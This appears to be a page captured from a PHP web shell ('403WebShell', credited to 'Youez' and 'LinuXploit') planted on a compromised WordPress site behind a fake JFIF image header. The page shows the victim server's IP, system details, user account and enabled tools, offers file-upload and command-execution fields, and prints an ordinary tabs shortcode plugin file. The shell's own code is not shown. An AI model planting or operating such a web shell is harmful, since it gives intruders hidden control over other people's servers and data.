????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.64.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/cwd/wp-content/plugins/cherry-plugin-x/includes/shortcodes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/cwd/wp-content/plugins/cherry-plugin-x/includes/shortcodes/tabs.php
<?php
/**
 * Tabs
 */
if ( !function_exists('tabs_shortcode') ) {
	function tabs_shortcode( $atts, $content = null, $shortcodename = '' ) {
		if ( !array_key_exists('direction', $atts) ) {
			$direct = array(
				'direction' => 'top'
				);
			$atts = array_merge( $direct, $atts );
		}
		$output = '<div class="tabs-wrapper tabbable tabs-' . $atts["direction"] . '">';

			// Build tab menu
			$nav_tabs = '<ul class="nav nav-tabs">';
				$id       = rand(); // Create unique ID for this tab set
				$tab_menu = array();
				$tab_menu = $atts;
				array_shift( $tab_menu );
				$num_tabs = count( $tab_menu );

				for ( $i = 1; $i <= $num_tabs; $i++ ) {
					$addclass = ($i == 1) ? 'active tab-' . $i : 'tab-' . $i ;
					$nav_tabs .= '<li class="' . $addclass . '"><a href="#tab-' . $i . '-' . $id . '" data-toggle="tab">' . $tab_menu['tab' . $i] . '</a></li>';
				}
			$nav_tabs .= '</ul>';

			// Build content of tabs
			$tab_content = '<div class="tab-content">';
				$i          = 1;
				$tabContent = do_shortcode( $content );
				$find       = array();
				$replace    = array();

				foreach ( $tab_menu as $key => $value ) {
					$addclass  = ($i == 1) ? 'in active' : '' ;
					$find[]    = '[' . $key . ']';
					$find[]    = '[/' . $key . ']';
					$replace[] = '<div id="tab-' . $i . '-' . $id . '" class="tab-pane fade ' . $addclass . '">';
					$replace[] = '</div><!-- .tab (end) -->';
					$i++;
				}
				$tabContent = str_replace( $find, $replace, $tabContent );
				$tab_content .= $tabContent;
			$tab_content .= '</div><!-- .tab-content (end) -->';

			if ( $atts['direction'] == 'below' ) {
				$output .= $tab_content . $nav_tabs;
			} else {
				$output .= $nav_tabs . $tab_content;
			}

		$output .= '</div><!-- .tabs-wrapper (end) -->';

		$output = apply_filters( 'cherry_plugin_shortcode_output', $output, $atts, $shortcodename );

		return $output;
	}
	add_shortcode( 'tabs', 'tabs_shortcode' );
} ?>

Youez - 2016 - github.com/yon3zu
LinuXploit